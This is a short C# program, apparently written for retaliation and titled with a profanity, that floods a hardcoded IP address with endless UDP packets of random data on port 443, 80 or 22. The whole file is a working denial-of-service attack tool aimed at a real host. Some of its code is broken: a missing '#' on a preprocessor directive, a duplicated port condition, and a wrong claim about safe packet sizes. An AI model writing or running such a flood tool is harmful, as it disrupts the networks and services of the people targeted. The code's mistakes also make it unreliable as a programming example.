FuckBeamers

/*
 * Generates a random 50KB string to send. This can be changed, but don't make it larger than 4MB or else it will be
 * split into smaller packets by the network stack making it less efficient.
 */
define USE_RANDOM_PAYLOAD

/*
 * Choose which port to use
 * HTTPS:   443
 * HTTP:    80
 * [else]:  22
 */
#define HAMMER_HTTPS
// #define HAMMER_HTTP

using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace Consequences;

public static class FuckBeamers
{
#if !USE_RANDOM_PAYLOAD
    private static readonly string Payload = "Fuck you";
#endif

    private const int port =
#if HAMMER_HTTP
        443;
#elif HAMMER_HTTP
        80;
#else
        22;
#endif

#if USE_RANDOM_PAYLOAD
    private const int randomPayloadSize = (1024 * 50); // 50 KB
#endif

    public static async Task Main(string[] args)
    {
        IPAddress ip = new([96, 61, 218, 188]);
        Socket sock = new(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
        IPEndPoint endPoint = new(ip, port);

#if !USE_RANDOM_PAYLOAD
        byte[] payload = Encoding.ASCII.GetBytes(Payload);
        int randomPayloadSize = payload.Length;
#endif

        Stopwatch passedTimer = Stopwatch.StartNew();
        const int logCount = 500;
        int count = 0;

        while (true)
        {
#if USE_RANDOM_PAYLOAD
            byte[] payload = Encoding.ASCII.GetBytes(GeneratePayload(randomPayloadSize));
#endif

            await sock.SendToAsync(payload, endPoint);
            count++;

            if (count > logCount)
            {
                count = 0;
                Console.WriteLine($"Cast took {passedTimer.ElapsedMilliseconds:n00} ms for batch of {logCount} ({randomPayloadSize / 1024f:n00}KB)");
                passedTimer.Restart();
            }
        }
    }

#if USE_RANDOM_PAYLOAD
    private static readonly Random rnd = new();

    const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    private static string GeneratePayload(int length)
    {
        return new string([.. Enumerable.Repeat(chars, length).Select(s => s[rnd.Next(s.Length)])]);
    }
#endif
}